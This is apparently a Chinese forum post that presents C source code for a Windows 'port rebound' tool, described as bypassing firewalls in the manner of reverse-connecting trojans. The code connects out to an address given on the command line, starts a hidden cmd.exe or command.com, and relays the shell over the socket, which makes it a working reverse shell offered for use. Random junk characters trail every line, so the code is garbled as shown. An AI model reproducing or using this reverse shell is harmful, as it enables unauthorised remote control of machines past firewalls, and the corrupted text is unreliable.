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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4TaHS!9  
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/* ============================== {JW_ZJx  
Rebound port in Windows NT ,^qHl+'  
By wind,2006/7 N\ zUQ J  
===============================*/ sQT<I]e  
#include RIF*9=,S  
#include <J^94-[CF  
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#pragma comment(lib,"wsock32.lib") wPpern05  
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void OutputShell(); `W4Is~VVv  
SOCKET sClient; 6yMaW eT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K)9f\1\  
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void main(int argc,char **argv) oh >0}Gc8  
{ *BQy$dfE  
WSADATA stWsaData; Aj@t*3  
int nRet; _;G|3>5u  
SOCKADDR_IN stSaiClient,stSaiServer; IHe?/oUL"b  
*GM.2``e  
if(argc != 3) ;vgaFc]  
{ \B8[UZA.&  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2!}rH w  
return; nsi&r  
} X1%_a.=VF  
6am<V]Hw0F  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2B]mD-~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qApf\o3[0  
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stSaiClient.sin_family = AF_INET; v?S3G-r  
stSaiClient.sin_port = htons(0); 4-q8:5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _MUSXB'  
2;YL+v2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E)( Rhvij  
{ ,}$[;$ye  
printf("Bind Socket Failed!\n"); +K"d\<  
return; 2sT\+C&H  
} -2y>X`1Y  
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stSaiServer.sin_family = AF_INET; _U%2J4T2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nnMRp7LQ-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ((]Sy,rdk  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rNX]tp{j  
{ e>$E67h<~  
printf("Connect Error!"); 5x' ^.$K >  
return; . AX6xc6  
} F2mW<REg{  
OutputShell(); 7By&cdl  
} !o8(9F  
7.C~ OrGR  
void OutputShell() rs:a^W5t  
{ SR { KL#NC  
char szBuff[1024]; AJ85[~(lX  
SECURITY_ATTRIBUTES stSecurityAttributes; LW+^m6O  
OSVERSIONINFO stOsversionInfo; {us"=JJVN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lNqF@eCT9  
STARTUPINFO stStartupInfo; N uq/y=  
char *szShell; wnbKUlb  
PROCESS_INFORMATION stProcessInformation; ~ ^) 4*@i6  
unsigned long lBytesRead; 0uf)6(f  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lag%} ^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5U%a$.yr  
stSecurityAttributes.lpSecurityDescriptor = 0; c=~FXV!  
stSecurityAttributes.bInheritHandle = TRUE; Vw b6QIs  
# ,27,#  
( T2 \   
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @# &y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C(5B/W6  
4$jb-Aw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %n>*jFC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L2^M#G@t  
stStartupInfo.wShowWindow = SW_HIDE; i 9wk)  
stStartupInfo.hStdInput = hReadPipe; (Zv/(SE5%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w;KNS'   
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GetVersionEx(&stOsversionInfo); Y @[Dy  
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switch(stOsversionInfo.dwPlatformId) "A,-/~cBV  
{ 5<L+T  
case 1: <LA!L  
szShell = "command.com"; TTzvH;S  
break; O{nM yB  
default: j43-YdCJ  
szShell = "cmd.exe"; @j?)uJ0Q  
break; ,.&y-?  
} OO`-{HKt  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UqsX@jL!  
[5TGCGxP{  
send(sClient,szMsg,77,0); TClgywL  
while(1) o<8=@ ^T  
{ TSAVXng  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x9VR>ux&  
if(lBytesRead) AF-uTf  
{ eU.HS78  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q~*>  
send(sClient,szBuff,lBytesRead,0);  w#\*{EN  
} uj9IK  
else u}I\!-EX!v  
{ qx<h rC0Z&  
lBytesRead=recv(sClient,szBuff,1024,0); \-~TW4dYe  
if(lBytesRead<=0) break; eNw9"X}g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @XFy^?  
} b6A]/290x  
} *&lNzz5&  
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return; .3yxg}E>{  
}
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